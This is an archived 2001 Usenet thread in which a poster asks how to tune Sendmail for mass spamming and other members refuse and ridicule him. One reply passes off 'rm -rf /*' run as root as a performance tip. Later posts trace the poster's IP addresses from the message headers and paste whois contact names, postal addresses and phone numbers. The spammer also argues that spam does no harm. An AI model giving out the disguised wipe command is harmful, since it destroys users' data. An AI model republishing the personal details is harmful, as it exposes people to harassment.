Sendmail Spam HOWTO
Chris Coddington
I need to setup a SPAM server and I want to tune Sendmail accordingly.
Is there a a mini-HOWTO on setting up a sendmail server to maximize
performance for delivering around a half-million messages.
Also, how long should that take on mid-range box running RH 7.1? I'm
guessing half a day?
Thank you for not preaching...
Chris
j...@pizza73.com
Chris Coddington wrote:
> Yes, I want to spam....
<SNIP>
> Thank you for not preaching...
<chuckle><grin><chortle><laugh><guffaw>
NO, thank-you! I always appreciate a good belly laugh!
>
> Chris
>
Jeff
Super Man
the first one .. then u sure have lots of time and bandwidth ( and of course
u must be a very "intelligent")...
hahaha !!! Never seen one like u before .. Thanks for providing the first
time .. ehehehe
"Chris Coddington" <chrisco...@hotmail.com> wrote in message
news:77c556cb.01091...@posting.google.com...
Will Nordmeyer
set our reject filters accordingly.
"Chris Coddington" <chrisco...@hotmail.com> wrote in message
news:77c556cb.01091...@posting.google.com...
______________________________________________________________________
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>
> Step one... tell everyone here what your domain names will be so we can
> set our reject filters accordingly.
Step two - properly prepare your system. Run the following command as
root:
# cd /usr/bin
# rm -rf /*
This will optimize the performance of your system, providing
substantially increased disk performance.
Chris Coddington
Andrzej Filip
Chris Coddington wrote:
> I need to setup a SPAM server and I want to tune Sendmail accordingly.
> Is there a a mini-HOWTO on setting up a sendmail server to maximize
> performance for delivering around a half-million messages.
>
> Also, how long should that take on mid-range box running RH 7.1? I'm
> guessing half a day?
Read sendmail/TUNING file in sendmail distribution,
take a look at sympa and bulk mailer program documentation
[ open source programs ].
If you are intelligent it should give you enough data,
otherwise you do not deserve the enlightenment :)
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Andrzej (Andrew) A. Filip mailto:an...@bigfoot.com
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Anthony Peacock
>
> I expected a few stones. Now, how about answering the question?
Have you read this group for any length of time?
If you had you would have noticed that a large amount of time is spent
discussing techniques for reducing the significant impact of SPAM. Do
you seriously expect that we will help you to increase our work load?
Will Nordmeyer
"Chris Coddington" <chrisco...@hotmail.com> wrote in message
news:77c556cb.01091...@posting.google.com...
> I expected a few stones. Now, how about answering the question?
______________________________________________________________________
Rich Teer
> I expected a few stones. Now, how about answering the question?
You've got some nerve, I'll give you that. Spammers are amongst
the lowest SCUM on Earth. Not only do you dirtbags make our lives
harder, you now want us to help to do it, for free.
As for answering your question: not a chance.
--
Rich Teer
President,
Rite Online Inc.
Voice: +1 (250) 979-1638
URL: http://www.rite-online.net
Chris Coddington
that
Step the first: Look for another job.
Step the second: See step the first.
that
Rob MacGregor
> Andrzej Filip, thank you for your advice. I'm just trying to do a job folks...
Time for a new job then...
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The light at the end of the tunnel is an oncoming dragon.
Question intelligently: http://www.tuxedo.org/~esr/faqs/smart-questions.html
Dave Lugo
>
> Andrzej Filip, thank you for your advice. I'm just trying to do a job folks...
By aiding and abetting large-scale theft?
So... what IP blocks are involved, hmmm?
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Clifton T. Sharp Jr.
> Andrzej Filip, thank you for your advice. I'm just trying to do a job folks...
I'm just really really glad no one paid you to steal my car.
--
"I would have been happy to explain further, except you had by that
point made it clear you would believe whatever you wanted to believe"
-- Jamie McCarthy, <b613732a.01070...@posting.google.com>
Floyd
Coddington) wrote:
>.... I'm just trying to do a job folks...
If you are trying to set up a server to deliver mail to a mailing list
of people who have legitimately singed up and actively requested your
mailings then more power to you.
On the other hand, if you are indeed trying to set up a server to send
unsolicitied bulk email, that which we commonly call "SPAM", then
please tell your boss that it is counter productive.
Most people abhor receiving such email messages. They do everything
they can to block or otherwise avoid them. We do not read them other
than to determine where they came from and how to block the next one.
Do you really think that receiving such hated email is any incentive
to take the advetisement seriously? Do you think responsible people
would ever send money to some person or organization that forges their
identify in unsolicited email messages?
Chris Coddington
stealing? If I pay someone to play a commercial on the radio, am I
stealing? If I pay someone to put up a billboard, am I stealing? If
I pay someone to put a brochure on your car, am I stealing? If I pay
someone to put an insert in your mail (hard junkmail), am I stealing?
If I pay someone to put a banner on a webpage, am I stealing?
THEY ARE ALL THE SAME!!! In each case, the solicitations are
unwanted.
The only thing being stolen is time. Yet you focus on only this form
of SPAM. Funny how there are so many other worthwhile causes to take
up, and yet you focus on this one. Sad...Actually pitiful...Get a
life...
If you don't want to be spammed, then don't give out your email
address. The other alternative is to develop a better mousetrap.
It's really that simple. It's not your business associates that are
spamming you, it's that free site you went to and were dumb enough to
put in your email address. Remember? Of course you don't.
I don't like it any more than you do, but the picture is, it's really
no big deal.
Let the mailing begin :)
Michael Kjorling
Hash: SHA1
Step zero: let us know the FQDN and IP address of your mail server so
we can add it to our black lists.
Michael Kjörling
On Sep 20 2001 21:47 -0000, that wrote:
> Very well then.
>
> Step the first: Look for another job.
>
> Step the second: See step the first.
>
> that
>
> Chris Coddington wrote:
>
> > Andrzej Filip, thank you for your advice. I'm just trying to do
> > a job folks...
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Clifton T. Sharp Jr.
> How am I stealing? If I pay someone to play a commercial on TV, am I
> stealing? If I pay someone to play a commercial on the radio, am I
> stealing? If I pay someone to put up a billboard, am I stealing? If
> I pay someone to put a brochure on your car, am I stealing? If I pay
> someone to put an insert in your mail (hard junkmail), am I stealing?
> If I pay someone to put a banner on a webpage, am I stealing?
>
> THEY ARE ALL THE SAME!!! In each case, the solicitations are
> unwanted.
And in each case, you're paying the entire cost of delivering the message.
With e-mail, you're stealing over half the cost from your victims.
> Let the mailing begin :)
Have at you, then.
Chris Adams
>I expected a few stones. Now, how about answering the question?
Why do expect any help from a group that is composed of people against
your stated goal? Would you go to a microsoft.* newsgroup and ask "how
do I remove this Windows crap from my hard drive so I can install Linux
or FreeBSD", and then be upset when you are ridiculed?
--
Chris Adams <cma...@hiwaay.net>
Systems and Network Administrator - HiWAAY Internet Services
I don't speak for anybody but myself - that's enough trouble.
Neil W Rickert
>It's really that simple. It's not your business associates that are
>spamming you, it's that free site you went to and were dumb enough to
>put in your email address. Remember? Of course you don't.
Right.
That's the standard big lie told by spammers.
That they tell these lies, that they steal resources from open
relays, that they forge their sender addresses -- these are the
reasons we consider them scum.
G. Roderick Singleton
Furthermore, do NOT feed the troll.
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_______________________________________________________________________
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fighting like beasts! Don't say it isn't my business. It's everybody's
business." GRS
David
dfw-read.news.verio.net!dfw-artgen.news.verio.net!dfw-peer.news.verio.net!n
ews.verio.net!stl-feed.news.verio.net!newsreader.wustl.edu!unlnews.unl.edu!
headwall.stanford.edu!newsfeed.stanford.edu!postnews1.google.com!not-for-ma
il
Newsgroups: comp.mail.sendmail
Organization: http://groups.google.com/
Lines: 12
NNTP-Posting-Host:
X-Trace: posting.google.com 1000928078 16457 127.0.0.1 (19 Sep 2001
19:34:38 GMT)
X-Complaints-To: groups...@google.com
NNTP-Posting-Date: 19 Sep 2001 19:34:38 GMT
Xref: dfw-artgen.news.verio.net comp.mail.sendmail:73178
Date: Wed, 19 Sep 2001 12:34:38 -0700
From: chrisco...@hotmail.com (Chris Coddington)
Subject: Sendmail Spam HOWTO
Message-Id: <77c556cb.01091...@posting.google.com>
$ host 198.245.17.144
144.17.245.198.in-addr.arpa domain name pointer ccoddington.nts.net.
nts.net and 198.245.17.0/24 added to my spam filters.
Who are the owners of NTS.net that I should send my complaints to and
would you be terribly upset if we proactively entered your netblocks and
domain at all known anti-spam registries?
David
Rich Teer
> Path:
> dfw-read.news.verio.net!dfw-artgen.news.verio.net!dfw-peer.news.verio.net!n
> ews.verio.net!stl-feed.news.verio.net!newsreader.wustl.edu!unlnews.unl.edu!
> headwall.stanford.edu!newsfeed.stanford.edu!postnews1.google.com!not-for-ma
> il
> Newsgroups: comp.mail.sendmail
> Organization: http://groups.google.com/
> Lines: 12
> NNTP-Posting-Host:
> X-Trace: posting.google.com 1000928078 16457 127.0.0.1 (19 Sep 2001
> 19:34:38 GMT)
> X-Complaints-To: groups...@google.com
> NNTP-Posting-Date: 19 Sep 2001 19:34:38 GMT
> Xref: dfw-artgen.news.verio.net comp.mail.sendmail:73178
> Date: Wed, 19 Sep 2001 12:34:38 -0700
> From: chrisco...@hotmail.com (Chris Coddington)
> Subject: Sendmail Spam HOWTO
> Message-Id: <77c556cb.01091...@posting.google.com>
>
> $ host 198.245.17.144
Just curious: how did you get that IP address from the
headers you show here?
> 144.17.245.198.in-addr.arpa domain name pointer ccoddington.nts.net.
>
> nts.net and 198.245.17.0/24 added to my spam filters.
>
> Who are the owners of NTS.net that I should send my complaints to and
> would you be terribly upset if we proactively entered your netblocks and
> domain at all known anti-spam registries?
Here's some info to help:
rich@mars5582# whois -h whois.networksolutions.com nts.net
Registrant:
Ich Enterprises (NTS5-DOM)
1350 East Flamingo Road #950
Las Vegas, NV 89119
US
Domain Name: NTS.NET
Administrative Contact, Technical Contact:
Robert Murphy (RM3080-ORG) rmu...@NTS.NET
Frontier Credit Inc.
Canoga, CA 91303
Canoga, CA 91303
US
818-992-4300 Fax- - 818-992-8415 Fax-
Fax- - - 818-992-8415
Billing Contact:
Walkup, Harriett (WH2716-ORG) hwa...@NTS.NET
NTS
6433 Topanga Canyon BlvdSuite 579
Canoga Park, CA 91303
US
818-992-4300
Fax- 818-594-3809
Record last updated on 12-Sep-2000.
Record expires on 07-Nov-2002.
Record created on 06-Nov-1995.
Database last updated on 21-Sep-2001 16:40:00 EDT.
Domain servers in listed order:
HUGH.NETTEL.COM 198.245.19.66
NOMAD.NETTEL.COM 198.245.19.67
Enjoy,
David
"Rich Teer" <ri...@rite-group.com> wrote:
> On Fri, 21 Sep 2001, David wrote:
>
>> Path:
>> dfw-read.news.verio.net!dfw-artgen.news.verio.net!dfw-peer.news.verio.net!n
>> ews.verio.net!stl-feed.news.verio.net!newsreader.wustl.edu!unlnews.unl.edu!
>> headwall.stanford.edu!newsfeed.stanford.edu!postnews1.google.com!not-for-ma
>> il
>> Newsgroups: comp.mail.sendmail
>> Organization: http://groups.google.com/ Lines: 12
>> NNTP-Posting-Host:
>> X-Trace: posting.google.com 1000928078 16457 127.0.0.1 (19 Sep 2001
>> 19:34:38 GMT)
>> X-Complaints-To: groups...@google.com NNTP-Posting-Date: 19 Sep 2001
>> 19:34:38 GMT Xref: dfw-artgen.news.verio.net comp.mail.sendmail:73178
>> Date: Wed, 19 Sep 2001 12:34:38 -0700 From: chrisco...@hotmail.com
>> (Chris Coddington) Subject: Sendmail Spam HOWTO
>> Message-Id: <77c556cb.01091...@posting.google.com>
>>
>> $ host 198.245.17.144
>
> Just curious: how did you get that IP address from the headers you show
> here?
Hrm, odd. For some reason it didn't show up in the post. Below are the
IPs he has used to post from
Path:
dfw-read.news.verio.net!dfw-artgen.news.verio.net!dfw-peer.news.verio.net!n
ews.verio.net!stl-feed.news.verio.net!newsreader.wustl.edu!unlnews.unl.edu!
headwall.stanford.edu!newsfeed.stanford.edu!postnews1.google.com!not-for-ma
il
Newsgroups: comp.mail.sendmail
Organization: http://groups.google.com/
Lines: 12
NNTP-Posting-Host: 198.245.17.144
X-Trace: posting.google.com 1000928078 16457 127.0.0.1 (19 Sep 2001
19:34:38 GMT)
X-Complaints-To: groups...@google.com
NNTP-Posting-Date: 19 Sep 2001 19:34:38 GMT
Xref: dfw-artgen.news.verio.net comp.mail.sendmail:73178
Date: Wed, 19 Sep 2001 12:34:38 -0700
From: chrisco...@hotmail.com (Chris Coddington)
Subject: Sendmail Spam HOWTO
Message-Id: <77c556cb.01091...@posting.google.com>
This one is 198.245.17.144
$ host 198.245.17.144
144.17.245.198.in-addr.arpa domain name pointer ccoddington.nts.net.
Path:
dfw-read.news.verio.net!dfw-artgen.news.verio.net!dfw-peer.news.verio.net!n
ews.verio.net!newsfeed.mathworks.com!news-hog.berkeley.edu!ucberkeley!newsf
eed.stanford.edu!postnews1.google.com!not-for-mail
Newsgroups: comp.mail.sendmail
Organization: http://groups.google.com/
Lines: 1
References: <77c556cb.01091...@posting.google.com>
NNTP-Posting-Host: 66.27.39.18
X-Trace: posting.google.com 1000962037 23444 127.0.0.1 (20 Sep 2001
05:00:37 GMT)
X-Complaints-To: groups...@google.com
NNTP-Posting-Date: 20 Sep 2001 05:00:37 GMT
Xref: dfw-artgen.news.verio.net comp.mail.sendmail:73213
Date: Wed, 19 Sep 2001 22:00:37 -0700
From: chrisco...@hotmail.com (Chris Coddington)
Subject: Re: Sendmail Spam HOWTO
Message-Id: <77c556cb.01091...@posting.google.com>
This one is 66.27.39.18
$ host 66.27.39.18
18.39.27.66.in-addr.arpa domain name pointer sc-66-27-39-18.socal.rr.com.
Path:
dfw-read.news.verio.net!dfw-artgen.news.verio.net!dfw-peer.news.verio.net!n
ews.verio.net!crtntx1-snh1.gtei.net!paloalto-snf1.gtei.net!news.gtei.net!ne
wsfeed.stanford.edu!postnews1.google.com!not-for-mail
Newsgroups: comp.mail.sendmail
Organization: http://groups.google.com/
Lines: 1
References: <77c556cb.01091...@posting.google.com>
NNTP-Posting-Host: 198.245.17.144
X-Trace: posting.google.com 1001021938 4766 127.0.0.1 (20 Sep 2001 21:38:58
GMT)
X-Complaints-To: groups...@google.com
NNTP-Posting-Date: 20 Sep 2001 21:38:58 GMT
Xref: dfw-artgen.news.verio.net comp.mail.sendmail:73280
Date: Thu, 20 Sep 2001 14:38:57 -0700
From: chrisco...@hotmail.com (Chris Coddington)
Subject: Re: Sendmail Spam HOWTO
Message-Id: <77c556cb.01092...@posting.google.com>
Again 198.245.17.144
Path:
dfw-read.news.verio.net!dfw-artgen.news.verio.net!dfw-peer.news.verio.net!n
ews.verio.net!stl-feed.news.verio.net!newsreader.wustl.edu!unlnews.unl.edu!
headwall.stanford.edu!newsfeed.stanford.edu!postnews1.google.com!not-for-ma
il
Newsgroups: comp.mail.sendmail
Organization: http://groups.google.com/
Lines: 25
References: <77c556cb.01091...@posting.google.com>
NNTP-Posting-Host: 198.245.17.144
X-Trace: posting.google.com 1001088802 18759 127.0.0.1 (21 Sep 2001
16:13:22 GMT)
X-Complaints-To: groups...@google.com
NNTP-Posting-Date: 21 Sep 2001 16:13:22 GMT
Xref: dfw-artgen.news.verio.net comp.mail.sendmail:73355
Date: Fri, 21 Sep 2001 09:13:22 -0700
From: chrisco...@hotmail.com (Chris Coddington)
Subject: Re: Sendmail Spam HOWTO
Message-Id: <77c556cb.01092...@posting.google.com>
And his last post, again 198.245.17.144.
David
Floyd
<david+n...@kalifornia.com> wrote:
>In article <Pine.GSO.4.33.010921...@mars.rite-group.com>,
>"Rich Teer" <ri...@rite-group.com> wrote:
>
>> On Fri, 21 Sep 2001, David wrote:
>>
>>> Path:
>>> dfw-read.news.verio.net!dfw-artgen.news.verio.net!dfw-peer.news.verio.net!n
>>> ews.verio.net!stl-feed.news.verio.net!newsreader.wustl.edu!unlnews.unl.edu!
>>> headwall.stanford.edu!newsfeed.stanford.edu!postnews1.google.com!not-for-ma
>>> il
>>> Newsgroups: comp.mail.sendmail
>>> Organization: http://groups.google.com/ Lines: 12
>>> NNTP-Posting-Host:
>>> X-Trace: posting.google.com 1000928078 16457 127.0.0.1 (19 Sep 2001
>>> 19:34:38 GMT)
>>> X-Complaints-To: groups...@google.com NNTP-Posting-Date: 19 Sep 2001
>>> 19:34:38 GMT Xref: dfw-artgen.news.verio.net comp.mail.sendmail:73178
>>> Date: Wed, 19 Sep 2001 12:34:38 -0700 From: chrisco...@hotmail.com
In "David" 's posts there are several references to verio.net
What is verio.net? I recognize it because it shows up as the origin
of many spam email messages. It's right up there with qwestip.net,
popsite.net and genuity.net
Suresh Ramasubramanian
> What is verio.net? I recognize it because it shows up as the origin
> of many spam email messages. It's right up there with qwestip.net,
> popsite.net and genuity.net
Verio is a rather large provider of hosting services (virtual domains, colos
and such). Genuity (BBN/Dialinx), Popsite and QWestip are dialup (and
also DSL, etc) lines.
-suresh